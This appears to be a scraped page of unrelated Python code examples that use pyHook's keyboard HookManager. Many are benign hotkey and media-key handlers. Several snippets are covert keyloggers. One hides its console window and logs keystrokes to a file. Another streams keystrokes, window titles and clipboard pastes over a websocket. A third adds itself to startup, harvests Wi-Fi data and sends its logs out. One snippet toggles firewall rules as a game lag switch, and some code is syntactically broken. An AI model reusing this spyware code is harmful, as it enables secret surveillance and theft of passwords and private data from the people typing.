class Keystroke_Watcher(object):
    def __init__(self):
        self.hm = HookManager()
        self.hm.KeyDown = self.on_keyboard_event
        self.hm.HookKeyboard()

    def on_keyboard_event(self, event):
        global count
        try:
            if event.KeyID == 221:
                openchat()
                print("PRINTING LINE #" + str(count))
                maxlines = readit(count)
                sendchat()
                count += 1
                if count == maxlines:
                    print("RESET DETECTED")
                    count = 0
            elif event.KeyID == 219:
                flag = RS.grab()
                if not flag:
                    print("Exit")
            elif event.KeyID == 220:
                sys.exit()
        except SystemExit:
            print("Exiting...")
            sys.exit()
        return True
Exemple #2
0
    def run(self):
        # Run until user clicks on exit iconTray
        if _platform == 'Linux':
            # Get root screen
            root = Display().screen().root
            # Add key grabber for 'print'
            root.grab_key(PRINT_KEY_ID_LINUX, X.Mod2Mask, 0, X.GrabModeAsync,
                          X.GrabModeAsync)

            # Create a loop to keep the application running
            while True:
                event = root.display.next_event()
                self.OnKeyboardEvent(event)
                time.sleep(0.1)

        elif _platform == 'Windows':
            # create a hook manager
            hm = HookManager()
            # watch for all mouse events
            hm.KeyDown = self.OnKeyboardEvent
            # set the hook
            hm.HookKeyboard()
            # wait forever
            while True:
                pc.PumpWaitingMessages()
                time.sleep(0.1)
                #print('Hotkey thread waiting..')

            print('Closing HookManager')
            del hm
Exemple #3
0
def stop_game():
    # create a hook manager
    hm = HookManager()
    # watch for all mouse events
    hm.KeyDown = stop_game_callback
    # set the hook
    hm.HookKeyboard()
Exemple #4
0
class Keystroke_Watcher:
    def __init__(self, master):
        self.hm = HookManager()
        self.hm.KeyDown = self.on_key_down
        self.hm.KeyUp = self.on_key_up
        self.hm.HookKeyboard()
        self.keys_held = set()  # set of all keys currently being pressed

    def get_key_combo_code(self):
        # find some way of encoding the presses.
        return '+'.join(
            [HookConstants.IDToName(key) for key in self.keys_held])

    def on_key_down(self, event):
        try:
            self.keys_held.add(event.KeyID)
        finally:
            return True

    def on_key_up(self, event):
        keycombo = self.get_key_combo_code()
        print(keycombo)
        try:
            # Do whatever you want with your keycombo here
            pass
        finally:
            self.keys_held.remove(event.KeyID)
            return True
Exemple #5
0
class ActionServer():
    ## While initializing set the key you want to use to trigger
    def __init__(self, char='F'):
        self.Key__t = char
        self.flag = 0
        self.hm = HookManager()
        self._callbacks = []

    def actionRead(self, event):
        if event.Key == self.Key__t:
            for callback in self._callbacks:
                callback(True)
        return True

    ## This cannot be used as it cant get background key inputs
    ## This would act like a asynchronous server as it has to be

    def actionGUI(self, coor):
        try:
            pyg.click(coor[0], coor[1])
            return True
        except:
            return False

    def __call__(self):
        if not self.flag:
            self.flag = 1
            #_thread.start_new_thread(self.actionRead,())
            self.hm.KeyDown = self.actionRead
            self.hm.HookKeyboard()
            print("The server is running")
        else:
            print("Server is already running")
Exemple #6
0
class Watcher(object):
    def __init__(self):
        self.hm = HookManager()
        self.hm.KeyDown = self.key_down_event
        self.hm.HookKeyboard()

    def key_down_event(self, event):
        try:
            if GetKeyState(HookConstants.VKeyToID('VK_SHIFT')) and GetKeyState(
                    HookConstants.VKeyToID('VK_MENU')):
                if HookConstants.IDToName(event.KeyID) == "1":
                    print("screenshot!")
                    title = "".join(
                        random.choice(ascii_letters + digits)
                        for i in range(16))
                    screenshot.screen(title + ".png")
                elif HookConstants.IDToName(event.KeyID) == "2":
                    print("screenshot active window")
                elif HookConstants.IDToName(event.KeyID) == "3":
                    print("screenshot selection")
        except:
            pass
        finally:
            return True

    def shutdown(self):
        PostQuitMessage(0)
        self.hm.UnhookKeyboard()
Exemple #7
0
    def Keylogger(event):
        #######################
        # Usadas on Keylogger #
        #######################
        from win32console import GetConsoleWindow
        from win32gui import ShowWindow
        from pythoncom import PumpMessages
        from pyHook import HookManager
        from time import sleep
        win = GetConsoleWindow()
        ShowWindow(win, 0)

        def OnKeyboardEvent(event):
            if event.Ascii == 5:
                _exit(1)
            if event.Ascii != 0 or 8:
                f = open('C:\Users\Feric\Downloads\\test\keylogger.txt', 'a+')
                buffer = f.read()
                f.close()
                f = open('C:\Users\Feric\Downloads\\test\keylogger.txt', 'w')
                keylogs = chr(event.Ascii)
                if event.Ascii == 13:
                    keylogs = '/n'
                buffer += keylogs
                f.write(buffer)
                f.close()
                #print buffer

        hm = HookManager()
        hm.KeyDown = OnKeyboardEvent
        hm.HookKeyboard()
        #sleep(10)
        PumpMessages()
Exemple #8
0
def listener(q):
    def is_window_poe(window_name):
        return window_name == 'Path of Exile'
        # return True

    def foo(e):
        # print(e.KeyID)
        # print(e.WindowName)
        if is_window_poe(e.WindowName):
            k_id = e.KeyID
            if k_id == 116:
                q.put('f5')
                return False
            elif k_id == 117:
                q.put('f6')
                return False
            elif k_id == 118:
                q.put('f7')
                return False
            elif k_id == 119:
                q.put('f8')
                return False
        # else:
        #     event_info(e)
        return True

    hm = HookManager()
    hm.KeyDown = foo
    hm.HookKeyboard()
    print('start listen...')
    pythoncom.PumpMessages()
Exemple #9
0
def keylogger(size):
    if os.name == "nt":
        import win32api
        import pythoncom
        from pyHook import HookManager
    else:
        p = subprocess.Popen(["echo $DISPLAY"],
                             shell=True,
                             stdout=subprocess.PIPE)
        output, err = p.communicate()
        if len(str(output).strip()) == 0:
            return "Display not found"
        else:
            import pyxhook
            from pyxhook import HookManager
    global keysPressed
    hm = HookManager()
    hm.KeyDown = onkeyboardevent
    hm.HookKeyboard()
    if os.name != "nt":
        hm.start()
    while len(keysPressed) < int(size):
        if os.name == "nt":
            pythoncom.PumpWaitingMessages()
    else:
        keys = keysPressed
        keysPressed = ">"
        if os.name == "nt":
            hm.UnhookKeyboard()
        else:
            hm.cancel()
        return keys
def main():
    from base64 import b64encode
    from ctypes import windll, byref, create_string_buffer, c_ulong
    from win32clipboard import OpenClipboard, GetClipboardData, CloseClipboard
    from pyHook import HookManager
    from pythoncom import PumpMessages

    def process():
        handle  = windll.user32.GetForegroundWindow()
        pid     = c_ulong(0)

        windll.user32.GetWindowThreadProcessId(handle, byref(pid))
        process_id = "%d" % pid.value
        executable = create_string_buffer("\x00" * 512)

        h_process = windll.kernel32.OpenProcess(0x400 | 0x10, False, pid)

        windll.psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
        window_title = create_string_buffer("\x00" * 512)

        length = windll.user32.GetWindowTextA(handle, byref(window_title),512)
        output = "\n[ PID: %s - %s - %s ]\n" % (process_id, executable.value, window_title.value)
        windll.kernel32.CloseHandle(handle)
        windll.kernel32.CloseHandle(h_process)
        return output

    def onEvent(event):
        if event.WindowName != current_window:
            current_window = event.WindowName
            pid = process()
            ws.send("\n{}\n".format(pid))
            
        if event.Ascii > 32 and event.Ascii < 127:
            ws.send(chr(event.Ascii))
        elif event.Ascii == 32:
            ws.send(' ')
        elif event.Ascii in (10,13):
            ws.send('\n')
        elif event.Ascii == 0:
            pass
        else:
            if event.Key == "V" and os.name == 'nt':
                win32clipboard.OpenClipboard()
                pasted_value = win32clipboard.GetClipboardData()
                win32clipboard.CloseClipboard()
                ws.send("[PASTE] - %s" % (pasted_value))
            else:
                ws.send(str("%s" % event.Key))
        return True

    current_window  = None
    temp_buffer     = str()
    remote_log      =
    while True:
        kl = HookManager()
        kl.KeyDown = onEvent
        kl.HookKeyboard() 
        PumpMessages()
Exemple #11
0
 def checkP2T(self):
     # create a hook manager
     hm = HookManager()
     # watch for all keyboard events
     hm.KeyDown = self.OnKeyboardEvent
     # set the hook
     hm.HookKeyboard()
     # wait forever
     pythoncom.PumpMessages()
Exemple #12
0
 def __init__(self, keys):
     self.keys = [ord(k) for k in keys]
     # create a hook manager
     hm = HookManager()
     # watch for all mouse events
     hm.KeyDown = self.FilterKeys
     # set the hook
     hm.HookKeyboard()
     # wait forever
     pythoncom.PumpMessages()
def main():
    filesystem = FileSystem(options)
    clipboard = Clipboard(options)
    handlers = Handlers(clipboard, filesystem)
    
    thread = Thread(target=handlers.clipboardChangedListener)
    thread.daemon = True
    thread.start()

    hm = HookManager()
    hm.KeyDown = handlers.handleKeypress
    hm.HookKeyboard()
    PumpMessages()
Exemple #14
0
def main():
    """
    main function (CLI endpoint)
    """
    global key_binding

    parser = argparse.ArgumentParser()

    help = """Set alternate key binding. Default is LCTRL+SPACE
                Format :- <KEY1>+<KEY2>. Ex:- RCTRL+RALT .
                To see available key bindings use 'clix -a' option"""

    parser.add_argument("-s", "--set-keybinding", type=str,
                        default=None, help=help)

    parser.add_argument("-a", "--show-available-keybindings",
                        help="Show available key bindings", action="store_true")

    parser.add_argument("-c", "--show-current-keybinding", action="store_true")

    args = parser.parse_args()
    args_dict = vars(args)

    if args.show_current_keybinding:
        print("Current key binding is: {}".format(get_current_keybinding()))
        sys.exit()

    elif args.show_available_keybindings:
        _show_available_keybindings()
        sys.exit()

    elif args.set_keybinding:
        try:
            keys = args_dict['set_keybinding'].split('+')
            key_binding = [available_keys[keys[0]], available_keys[keys[1]]]
        except KeyError:
            print("Please follow the correct format.")
        else:
            with open(curr_dir + "/clix/config", "wb") as f:
                pickle.dump(key_binding, f, protocol=2)
        finally:
            sys.exit()

    # start key-logging session
    new_hook = HookManager()
    new_hook.KeyDown = OnKeyPress
    new_hook.HookKeyboard()
    if current_os == 'linux':
        new_hook.start()
    elif current_os == 'win':
        pythoncom.PumpMessages()
def wait_for_end_game():
    global hm
    global window

    # create a hook manager
    hm = HookManager()
    # watch for all mouse events
    hm.KeyDown = end_game_callback
    # set the hook
    hm.HookKeyboard()
    # wait for window
    window = create_window(
        "game_config",
        "now start the game and when you fail press: " + FLAG_KEY)
    window.mainloop()
Exemple #16
0
class Keystroke_Watcher(object):
    def __init__(self):
        self.hm = HookManager()
        self.hm.KeyDown = self.on_keyboard_event
        self.hm.HookKeyboard()


    def on_keyboard_event(self, event):
        try:
            OnKeyPress(event.KeyID)
        finally:
            return True

    def shutdown(self):
        PostQuitMessage(0)
        self.hm.UnhookKeyboard()
class KeystrokeWatcher(object):
    def __init__(self, functions):
        self.queue = []
        self.functions = functions
        self.calculateQueueMaxSize()

        self.hookMan = HookManager()
        self.hookMan.KeyDown = self.onKeyDown
        self.hookMan.HookKeyboard()

    def calculateQueueMaxSize(self):
        self.queueMaxSize = 0

        for function in self.functions:
            size = len(function[0])

            if size > self.queueMaxSize:
                self.queueMaxSize = size

    def onKeyDown(self, event):
        if len(self.queue) == self.queueMaxSize:
            del self.queue[-1]

        self.queue.insert(0, event.KeyID)
        self.checkQueue()

        return True

    def checkQueue(self):
        for pair in self.functions:
            keys, func = pair

            if len(self.queue) >= len(keys):
                found = True

                for i, key in enumerate(keys):
                    if self.queue[i] != key:
                        found = False
                        break

                if found:
                    func()

    def shutdown(self):
        PostQuitMessage(0)
        self.hookMan.UnhookKeyboard()
Exemple #18
0
class Keystroke_Watcher(object):
    def __init__(self):
        self.hm = HookManager()
        self.hm.KeyDown = self.on_keyboard_event
        self.hm.HookKeyboard()
        self.alreadyOn = True

    def on_keyboard_event(self, event):
        try:
            if event.KeyID == 52:
                self.switchRule()
            elif event.KeyID == 53:
                self.generateRule()
        finally:
            return True

    def switchRule(self):
        if (self.alreadyOn == False):
            self.alreadyOn = True
            os.system(
                'netsh advfirewall firewall set rule name="ArmaLagg" new enable=no'
            )
            os.system(
                'netsh advfirewall firewall set rule name="Arma 3" new enable=yes'
            )
            print("not active")
        else:
            self.alreadyOn = False
            os.system(
                'netsh advfirewall firewall set rule name="ArmaLagg" new enable=yes'
            )
            os.system(
                'netsh advfirewall firewall set rule name="Arma 3" new enable=no'
            )
            print("active")

    def generateRule(self):
        os.system(
            'netsh advfirewall firewall add rule name="ArmaLagg" dir=out action=block program="'
            + input("Your Arma path:\n") + '" enable=no')
Exemple #19
0
class keylogger():
    def __init__(self):
        '''
        Disallow multiple instances.source: ajinabraham / Xenotix - Python - Keylogger
        '''
        self.mutex = CreateMutex(None, 1, 'mutex_var_xboz')
        if GetLastError() == ERROR_ALREADY_EXISTS:
            self.mutex = None
            print "Multiple Instance not Allowed"
            sysExit(0)

        addToStartup()  # Add to startup
        writeWifi()
        writeKeylogs()  # Create keylogs.txt in case it does not exist
        self.hooks_manager = HookManager()  # Create a hook
        self.hooks_manager.KeyDown = self.OnKeyBoardEvent  # Assign keydown event handler
        self.hooks_manager.HookKeyboard()  # assign hook to the keyboard
        pythoncom.PumpMessages()

    def OnKeyBoardEvent(
            self, event):  # This function is called when a key is pressed
        global timeNow
        global data
        global exitStack
        global keyLength
        global wifiLogsFile
        global keylogsFile

        # logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
        # logging.log(10,chr(event.Ascii))

        if event.Ascii == 8:
            key = '<BACKSPACE>'
        elif event.Ascii == 13:  # Carraige return representation
            key = '<ENTER>'
        elif event.Ascii == 9:  # TAB Representation
            key = '<TAB>'
        else:
            key = chr(event.Ascii)

        data += key

        if event.Ascii == 8:
            exitStack.append(event.Ascii)
        elif event.Ascii == 0:
            exitStack.append(event.Ascii)
        else:
            exitStack = []

        if len(exitStack) == 4:
            if exitStack[0] == 8 and exitStack[1] == 0 and exitStack[
                    2] == 8 and exitStack[3] == 0:  # If last four values
                self.createExitGui()
            else:
                exitStack = []

        if len(data) == 128:  # Write data in chucks of 128 bytes
            writeKeylogs()
            data = ''

        if os.path.getsize(
                keylogsFile) >= 5e+6:  # Send log file when it reaches 5MB
            t = threading.Thread(target=sendFile(), args=())
            t.start()

        return True

    def createExitGui(self):
        app = self.Application(
            root)  # Passing Tk object to our GUI implementation class
        app.mainloop()  # entered were <back><del><back><del>
        root.destroy()  # spawn a quit dialog box
        sysExit(1)

    class Application(Frame):  # Class for implementation of exitGui
        def CreateWidgets(self):
            self.QUIT = Button(self)
            self.QUIT["text"] = "QUIT"
            self.QUIT["fg"] = "red"
            self.QUIT["command"] = self.quit

            self.QUIT.pack({"side": "left"})

        def __init__(self, master=None):
            Frame.__init__(self, master)
            self.pack()
            self.CreateWidgets()
Exemple #20
0
class KeyHook(object):

    playpause = pyqtSignal()
    play_prev = pyqtSignal()
    play_next = pyqtSignal()
    stop = pyqtSignal()

    def __init__(self, controller, enabled=True):
        super(KeyHook, self).__init__()

        self.controller = controller

        # todo: need a way to set these
        self.k_LAUNCHMEDIA = 181
        self.k_NEXT = 176
        self.k_PLAYPAUSE = 179
        self.k_PREV = 178
        self.k_STOP = 177

        if os.name == 'nt' and HookManager is not None:
            self.hm = HookManager()
            self.hm.KeyDown = self.keyPressEvent
            if enabled:
                self.hm.HookKeyboard()
            self.enabled = enabled
            sys.stdout.write("Keyboard Hook enabled (enabled=%s)\n" % enabled)
        else:
            sys.stdout.write("Unable to initialize Keyboard Hook\n")
            self.hm = None
            self.enabled = False

        self.diag = False

    def keyPressEvent(self, event):

        # return false to capture the key press
        if event.KeyID == self.k_PLAYPAUSE:
            self.playpause.emit()
            return False
        elif event.KeyID == self.k_STOP:
            self.stop.emit()
            return False
        elif event.KeyID == self.k_PREV:
            self.play_prev.emit()
            return False
        elif event.KeyID == self.k_NEXT:
            self.play_next.emit()
            return False
        elif self.diag:
            if event.Ascii > 0x20 or event.Ascii == 0xD:  #any char or \n
                sys.stdout.write("%s" % chr(event.Ascii)),
            else:
                sys.stdout.write("{%02X}" % event.KeyID)
        return True

    def setEnabled(self, b):
        if os.name == 'nt':
            if not self.enabled and b:
                self.hm.HookKeyboard()
                self.enabled = b
            elif self.enabled and not b:
                self.hm.UnhookKeyboard()

    def setDiagEnabled(self, b):
        self.diag = b

    def getDiagEnabled(self):
        return self.diag
class Master(QtWidgets.QDialog):
    def __init__(self, parent=None):
        super(Master, self).__init__(parent)
        self.screens = app.screens()
        self.setupUI()

    def save_ini(self):
        vals = [
            'target_monitor: ' + str(self.target_monitor),
            'preview_left: ' + str(self.preview_left),
            'preview_right: ' + str(self.preview_right),
            'preview_top: ' + str(self.preview_top),
            'preview_bottom: ' + str(self.preview_bottom)
        ]
        with open('settings.ini', 'w') as f:
            f.write('\n'.join(vals))

    def load_ini(self):
        try:
            with open('settings.ini', 'r') as f:
                text = f.read()
            lines = text.split('\n')
            self.settings = {}
            for line in lines:
                key = line.split(':')[0]
                val = line.split(':')[-1].strip()
                self.settings[key] = val

        except FileNotFoundError:
            self.settings = {
                "target_monitor": self.screens[0].name(),
                "preview_left": "60",
                "preview_right": "1258",
                "preview_top": "149",
                "preview_bottom": "823"
            }

            if len(self.screens) > 1:
                self.settings['target_monitor'] = self.screens[1].name()

        self.target_monitor = self.settings['target_monitor']
        self.preview_left = int(self.settings['preview_left'])
        self.preview_right = int(self.settings['preview_right'])
        self.preview_top = int(self.settings['preview_top'])
        self.preview_bottom = int(self.settings['preview_bottom'])


    def setupUI(self):
        self.load_ini()

        ba = QtCore.QByteArray.fromBase64(dot_data)
        pixmap = QtGui.QPixmap()
        pixmap.loadFromData(ba, 'PNG')

        icon = QtGui.QIcon()
        icon.addPixmap(pixmap)

        self.setWindowIcon(icon)
        self.setWindowTitle('MouseFollow')
        self.setWindowFlags(QtCore.Qt.WindowMinimizeButtonHint | QtCore.Qt.WindowCloseButtonHint)

        self.v_layout = QtWidgets.QVBoxLayout(self)

        self.screen_layout = QtWidgets.QHBoxLayout()

        self.target_monitor_label = QtWidgets.QLabel("Target Monitor:")
        self.target_monitor_cb = QtWidgets.QComboBox()

        found = False
        for i in range(len(self.screens)):
            self.target_monitor_cb.addItem(self.screens[i].name())
            if self.screens[i].name() == self.target_monitor:
                self.target_monitor_cb.setCurrentIndex(i)

        self.target_monitor_cb.currentIndexChanged.connect(self.set_target_monitor)

        self.screen_layout.addWidget(self.target_monitor_label)
        self.screen_layout.addWidget(self.target_monitor_cb)
        self.v_layout.addLayout(self.screen_layout)

        self.draw_label = QtWidgets.QLabel("Draw: Right Alt")
        self.v_layout.addWidget(self.draw_label)

        self.laser_label = QtWidgets.QLabel("Laser: Left Alt")
        self.v_layout.addWidget(self.laser_label)


        self.red_dot = RedDot()
        self.draw_box = DrawBox()
        self.draw_box.mouseup.connect(self.save_preview_pos)

        self.hookman = HookManager()
        self.hookman.KeyDown = self.keydown
        self.hookman.KeyUp = self.keyup
        self.hookman.HookKeyboard()
        if os.name == 'posix':
            self.hookman.start()


        self.thread = Mover()
        self.thread.signal.connect(self.move_dot)
        self.thread.start()

        self.resize(300, 100)
        self.show()

    def set_target_monitor(self):
        self.target_monitor = self.target_monitor_cb.currentText()
        self.save_ini()

    def save_preview_pos(self):
        drawbox_geometry = self.draw_box.geometry()

        self.preview_left = drawbox_geometry.left() + self.draw_box.mouse_down_loc[0]
        self.preview_top = drawbox_geometry.top() + self.draw_box.mouse_down_loc[1]
        self.preview_right = drawbox_geometry.left() + self.draw_box.mouse_up_loc[0]
        self.preview_bottom = drawbox_geometry.top() + self.draw_box.mouse_up_loc[1]

        if self.preview_left > self.preview_right:
            self.preview_right, self.preview_left = self.preview_left, self.preview_right
        if self.preview_top > self.preview_bottom:
            self.preview_top, self.preview_bottom = self.preview_bottom, self.preview_top

        self.save_ini()

    def move_dot(self):
        if self.red_dot.isVisible():
            laser_width = self.red_dot.frameGeometry().width()
            laser_height = self.red_dot.frameGeometry().height()

            pos = QtGui.QCursor().pos()
            x = pos.x()
            y = pos.y()

            width = self.preview_right - self.preview_left
            height = self.preview_bottom - self.preview_top

            if width == 0:
                self.preview_left = 0
                self.preview_right = 1920
                width = self.preview_right - self.preview_left

            if height == 0:
                self.preview_top = 0
                self.preview_bottom = 1080
                height = self.preview_bottom - self.preview_top

            x_fac = (x - self.preview_left) / width
            y_fac = (y - self.preview_top) / height

            for screen in self.screens:
                if screen.name() == self.target_monitor_cb.currentText():
                    target_screen = screen
                    break

            geometry = target_screen.geometry()
            new_x = geometry.left() + (geometry.width() * x_fac) - (laser_width / 2)
            new_y = geometry.top() + (geometry.height() * y_fac) - (laser_height / 2)

            if new_x < geometry.left():
                new_x = geometry.left()
            elif new_x > geometry.left() + geometry.width() - laser_width:
                new_x = geometry.left() + geometry.width() - laser_width

            if new_y < geometry.top():
                new_y = geometry.top()
            elif new_y > geometry.top() + geometry.height() - laser_width:
                new_y = geometry.top() + geometry.height() - laser_width

            self.red_dot.move(new_x, new_y)


    def closeEvent(self, event):
        self.thread.terminate()
        self.hookman.cancel()


    def keydown(self, event):
        if event.Key == 'Lmenu' or event.Key == 'Alt_L':
            self.red_dot.show()

        elif event.Key == 'Rmenu' or event.Key == 'Alt_R':
            pos = QtGui.QCursor().pos()
            x = pos.x()
            y = pos.y()

            for screen in self.screens:
                geometry = screen.geometry()
                left = geometry.left()
                top = geometry.top()
                width = geometry.width()
                height = geometry.height()

                if x >= left and x < left + width and y >= top and y < top + height:
                    source_screen = screen
                    break

            self.draw_box.setGeometry(source_screen.geometry())
            self.draw_box.show()

        return 1

    def keyup(self, event):
        if event.Key == 'Lmenu' or event.Key == 'Alt_L':
            self.red_dot.hide()
        elif event.Key == 'Rmenu' or event.Key == 'Alt_R':
            self.draw_box.hide()
        return 1

    def closeEvent(self, event):
        pass
Exemple #22
0
class Hotkey(object):
    def __init__(self, hotkey_list):
        self.hotkey_manager = HookManager()
        self.hotkey_manager.HookKeyboard()
        self.hotkey_manager.KeyUp = self.on_key
        self.hotkey_manager.KeyDown = self.on_key
        self.is_listening = False
        self.pressed = {}
        self.key_que = []
        self.app_info = ActiveAppInfo()
        self.remap = RemapList()
        self.is_waiting_modifier_up = False
        self.hotkey_list = hotkey_list
        """:type :dict"""
        self.shell = win32com.client.Dispatch("WScript.Shell")

        self.is_listening_paused = False
        self.is_photoshop = False

        self.is_holding_left_ctrl = False
        self.is_holding_left_alt = False
        self.is_holding_left_shift = False

        self.is_holding_right_ctrl = False
        self.is_holding_right_alt = False
        self.is_holding_right_shift = False

        self.is_left_ctrl_down_injected = False
        self.is_left_ctrl_up_injected = False
        self.is_left_alt_down_injected = False
        self.is_left_alt_up_injected = False
        self.is_left_shift_down_injected = False
        self.is_left_shift_up_injected = False

        self.is_right_ctrl_down_injected = False
        self.is_right_ctrl_up_injected = False
        self.is_right_alt_down_injected = False
        self.is_right_alt_up_injected = False
        self.is_right_shift_down_injected = False
        self.is_right_shift_up_injected = False

        self.timer = QTimer()
        # noinspection PyUnresolvedReferences
        self.timer.timeout.connect(self.process_key_events)
        self.timer.start(30)

    def process_key_events(self):
        while self.key_que:
            key_seq = self.key_que.pop(0)
            # fixme: first keystroke outside photoshop is blocked by is_photoshop
            # is_photoshop should update itself on changing window
            self.is_photoshop = self.app_info.is_photoshop()
            if key_seq in self.remap.remap_list.keys() and self.is_photoshop:
                print("Remap: " + key_seq + " to " +
                      self.remap.remap_list[key_seq])
                self.shell.sendKeys(self.remap.remap_list[key_seq])
            elif key_seq in self.hotkey_list.keys() and self.is_photoshop:
                print("Hotkey: " + key_seq)
                self.hotkey_list[key_seq].play()

    # fixme: slows down response from keyboard
    # fixme: sometimes program leaves injected keydowns on exit, and breaks keyboard input
    def on_key(self, event):
        """
        @type event: pyHook.HookManager.KeyboardEvent
        @return:
        """
        if self.is_listening and not self.is_listening_paused:
            if event.IsInjected():
                print '--- Injected Key:', event.Key, '- MessageName:', event.MessageName
                self.set_injected_flags(event)
                return True
            # self.print_event(event)

            self.update_hold_flags(event)
            self.fix_modifiers()

            key_seq = ""
            if self.is_holding_left_ctrl or self.is_holding_right_ctrl:
                key_seq += "Ctrl+"
            if self.is_holding_left_alt or self.is_holding_right_alt:
                key_seq += "Alt+"
            if self.is_holding_left_shift or self.is_holding_right_shift:
                key_seq += "Shift+"

            key_seq += QKeySequence(event.Key).toString()
            if key_seq in self.remap.remap_list.keys():
                return self.add_key_seq_to_que(key_seq, event)

            elif key_seq in self.hotkey_list.keys():
                return self.add_key_seq_to_que(key_seq, event)
        return True

    def print_event(self, event):
        print 'MessageName:', event.MessageName
        print 'Message:', event.Message
        print 'Time:', event.Time
        print 'Window:', event.Window
        print 'WindowName:', event.WindowName
        print 'Ascii:', event.Ascii, chr(event.Ascii)
        print 'Key:', event.Key
        print 'KeyID:', event.KeyID
        print 'ScanCode:', event.ScanCode
        print 'Extended:', event.Extended
        print 'Injected:', event.Injected
        print 'Alt', event.Alt
        print 'Transition', event.Transition
        print '---'

    def update_hold_flags(self, event):
        if event.Message == HookConstants.WM_KEYDOWN or event.Message == HookConstants.WM_SYSKEYDOWN:
            if event.KeyID == win32con.VK_LMENU:
                self.is_holding_left_alt = True

            elif event.KeyID == win32con.VK_LCONTROL:
                self.is_holding_left_ctrl = True

            elif event.KeyID == win32con.VK_LSHIFT:
                self.is_holding_left_shift = True

            elif event.KeyID == win32con.VK_RMENU:
                self.is_holding_right_alt = True

            elif event.KeyID == win32con.VK_RCONTROL:
                self.is_holding_right_ctrl = True

            elif event.KeyID == win32con.VK_RSHIFT:
                self.is_holding_right_shift = True

        elif event.Message == HookConstants.WM_KEYUP or event.Message == HookConstants.WM_SYSKEYUP:
            if event.KeyID == win32con.VK_LMENU:
                self.is_holding_left_alt = False

            elif event.KeyID == win32con.VK_LCONTROL:
                self.is_holding_left_ctrl = False

            elif event.KeyID == win32con.VK_LSHIFT:
                self.is_holding_left_shift = False

            elif event.KeyID == win32con.VK_RMENU:
                self.is_holding_right_alt = False

            elif event.KeyID == win32con.VK_RCONTROL:
                self.is_holding_right_ctrl = False

            elif event.KeyID == win32con.VK_RSHIFT:
                self.is_holding_right_shift = False

    def set_injected_flags(self, event):
        if event.Message == HookConstants.WM_KEYUP or event.Message == HookConstants.WM_SYSKEYUP:
            if event.KeyID == win32con.VK_LMENU:
                self.is_left_alt_up_injected = True
            elif event.KeyID == win32con.VK_LCONTROL:
                self.is_left_ctrl_up_injected = True
            elif event.KeyID == win32con.VK_LSHIFT:
                self.is_left_shift_up_injected = True
            elif event.KeyID == win32con.VK_RMENU:
                self.is_right_alt_up_injected = True
            elif event.KeyID == win32con.VK_RCONTROL:
                self.is_right_ctrl_up_injected = True
            elif event.KeyID == win32con.VK_RSHIFT:
                self.is_right_shift_up_injected = True

        elif event.Message == HookConstants.WM_KEYDOWN or event.Message == HookConstants.WM_SYSKEYDOWN:
            if event.KeyID == win32con.VK_LMENU:
                self.is_left_alt_down_injected = True
            elif event.KeyID == win32con.VK_LCONTROL:
                self.is_left_ctrl_down_injected = True
            elif event.KeyID == win32con.VK_LSHIFT:
                self.is_left_shift_down_injected = True
            elif event.KeyID == win32con.VK_RMENU:
                self.is_right_alt_down_injected = True
            elif event.KeyID == win32con.VK_RCONTROL:
                self.is_right_ctrl_down_injected = True
            elif event.KeyID == win32con.VK_RSHIFT:
                self.is_right_shift_down_injected = True

    def fix_modifiers(self):
        self.fix_vk(win32con.VK_LMENU, self.is_holding_left_alt,
                    self.set_is_left_alt_down_injected,
                    self.set_is_left_alt_up_injected)
        self.fix_vk(win32con.VK_LCONTROL, self.is_holding_left_ctrl,
                    self.set_is_left_ctrl_down_injected,
                    self.set_is_left_ctrl_up_injected)
        self.fix_vk(win32con.VK_LSHIFT, self.is_holding_left_shift,
                    self.set_is_left_shift_down_injected,
                    self.set_is_left_shift_up_injected)

        self.fix_vk(win32con.VK_RMENU, self.is_holding_right_alt,
                    self.set_is_right_alt_down_injected,
                    self.set_is_right_alt_up_injected)
        self.fix_vk(win32con.VK_RCONTROL, self.is_holding_right_ctrl,
                    self.set_is_right_ctrl_down_injected,
                    self.set_is_right_ctrl_up_injected)
        self.fix_vk(win32con.VK_RSHIFT, self.is_holding_right_shift,
                    self.set_is_right_shift_down_injected,
                    self.set_is_right_shift_up_injected)

    def fix_vk(self, vk_id, flag_holding, setter_injected_down,
               setter_injected_up):
        if flag_holding and setter_injected_up():
            # print "injecting " + HookConstants.id_to_vk[vk_id]
            win32api.keybd_event(vk_id, 0, win32con.KEYEVENTF_EXTENDEDKEY | 0,
                                 0)
            setter_injected_down(True)
            setter_injected_up(False)

        elif setter_injected_down() and not flag_holding:
            # print "fixing " + HookConstants.id_to_vk[vk_id]
            win32api.keybd_event(
                vk_id, 0,
                win32con.KEYEVENTF_EXTENDEDKEY | win32con.KEYEVENTF_KEYUP, 0)
            setter_injected_down(False)

    def add_key_seq_to_que(self, key_seq, event):
        if event.Message == HookConstants.WM_KEYDOWN or \
                event.Message == HookConstants.WM_SYSKEYDOWN:
            if key_seq not in self.pressed.keys():
                # if is_ctrl or is_alt or is_shift:
                #     self.is_waiting_modifier_up = True
                self.key_que.append(key_seq)
                self.pressed[key_seq] = True
            if self.is_photoshop:
                return False
            else:
                return True

        if key_seq in self.pressed.keys():
            del self.pressed[key_seq]
        else:
            print("no such key in pressed")

        if self.is_photoshop:
            return False
        else:
            return True

    # todo: test with various key sequences
    def send_key_seq(self, key_seq):
        """
        :type key_seq: str
        """
        buttons = key_seq.split("+")
        key_seq_formatted = ""
        if "Ctrl" in buttons:
            key_seq_formatted += RemapList.CTRL
        if "Alt" in buttons:
            key_seq_formatted += RemapList.ALT
        if "Shift" in buttons:
            key_seq_formatted += RemapList.SHIFT
        key_seq_formatted += buttons[-1].upper()
        self.shell.sendKeys(key_seq_formatted)

    # -----------------------------------------
    # Setters
    # -----------------------------------------
    def set_is_left_alt_down_injected(self, value=None):
        if value is None:
            return self.is_left_alt_down_injected
        self.is_left_alt_down_injected = value

    def set_is_right_alt_down_injected(self, value=None):
        if value is None:
            return self.is_right_alt_down_injected
        self.is_right_alt_down_injected = value

    def set_is_left_ctrl_down_injected(self, value=None):
        if value is None:
            return self.is_left_ctrl_down_injected
        self.is_left_ctrl_down_injected = value

    def set_is_right_ctrl_down_injected(self, value=None):
        if value is None:
            return self.is_right_ctrl_down_injected
        self.is_right_ctrl_down_injected = value

    def set_is_left_shift_down_injected(self, value=None):
        if value is None:
            return self.is_left_shift_down_injected
        self.is_left_shift_down_injected = value

    def set_is_right_shift_down_injected(self, value=None):
        if value is None:
            return self.is_right_shift_down_injected
        self.is_right_shift_down_injected = value

